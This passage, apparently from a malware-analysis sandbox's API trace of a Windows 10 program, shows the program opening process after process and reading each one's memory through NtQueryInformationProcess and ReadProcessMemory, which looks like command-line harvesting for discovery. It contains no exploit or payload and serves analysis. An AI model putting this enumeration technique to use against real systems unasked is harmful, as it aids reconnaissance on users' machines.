_Radix=10 | out: _Buffer="3996") returned 0x0 [0202.079] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3996") returned 4 [0202.079] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.080] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.092] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x458 [0202.092] GetLastError () returned 0x0 [0202.092] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.092] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3fc018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.092] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.093] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x521cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.093] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.093] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.101] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.102] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3fc020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.102] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.102] malloc (_Size=0x72) returned 0x20abc2831b0 [0202.102] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x521962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.103] free (_Block=0x20abc2831b0) [0202.103] CloseHandle (hObject=0x458) returned 1 [0202.104] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0202.107] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4016") returned 4 [0202.108] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.108] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.121] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x458 [0202.121] GetLastError () returned 0x0 [0202.122] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.122] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x211018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.122] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.122] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x581d60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.122] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x581958, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.123] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.124] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.124] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x211020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.124] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x581340, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.124] malloc (_Size=0x78) returned 0x20abc282120 [0202.124] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0202.125] free (_Block=0x20abc282120) [0202.292] CloseHandle (hObject=0x458) returned 1 [0202.293] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0202.311] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4024") returned 4 [0202.312] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.312] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.325] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x468 [0202.325] GetLastError () returned 0x0 [0202.325] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.325] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x214018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.325] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.326] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x451cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.326] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.326] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.327] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.327] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x214020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.328] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.328] malloc (_Size=0x6a) returned 0x20abc2831b0 [0202.328] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x45195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.329] free (_Block=0x20abc2831b0) [0202.330] CloseHandle (hObject=0x468) returned 1 [0202.330] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0202.334] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4036") returned 4 [0202.335] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.335] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x464 [0202.552] GetLastError () returned 0x0 [0202.552] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.552] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x377018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5518f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.554] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.555] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.555] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x377020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.555] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.556] malloc (_Size=0x6a) returned 0x20abc2831b0 [0202.556] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x55195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.556] free (_Block=0x20abc2831b0) [0202.557] CloseHandle (hObject=0x464) returned 1 [0202.557] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0202.561] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4052") returned 4 [0202.562] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.562] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x464 [0202.574] GetLastError () returned 0x0 [0202.575] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.576] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.577] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.577] malloc (_Size=0x74) returned 0x20abc2831b0 [0202.577] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451964, lpBuffer=0x20abc2831b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.578] free (_Block=0x20abc2831b0) [0202.579] CloseHandle (hObject=0x464) returned 1 [0202.579] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0202.583] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4060") returned 4 [0202.584] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.584] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.760] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x464 [0202.761] GetLastError () returned 0x0 [0202.761] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.761] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3fa018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.761] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.761] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.761] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.762] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.763] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3fa020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.763] malloc (_Size=0x7a) returned 0x20abc2867b0 [0202.763] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e196a, lpBuffer=0x20abc2867b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2867b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.764] free (_Block=0x20abc2867b0) [0202.765] CloseHandle (hObject=0x464) returned 1 [0202.765] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0202.769] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4072") returned 4 [0202.770] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.770] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0202.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x464 [0202.787] GetLastError () returned 0x0 [0202.787] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0202.787] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x55b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0202.787] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0202.788] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x781ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0202.788] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7818f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.789] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0202.790] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0202.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x55b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0202.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.790] malloc (_Size=0x6e) returned 0x20abc2831b0 [0202.790] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x78195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.791] free (_Block=0x20abc2831b0) [0202.792] CloseHandle (hObject=0x464) returned 1 [0202.793] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4084") returned 0x0 [0203.064] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4084") returned 4 [0203.065] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.065] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0203.081] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x464 [0203.081] GetLastError () returned 0x0 [0203.081] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0203.081] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0203.082] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0203.082] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0203.082] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0203.083] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0203.084] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 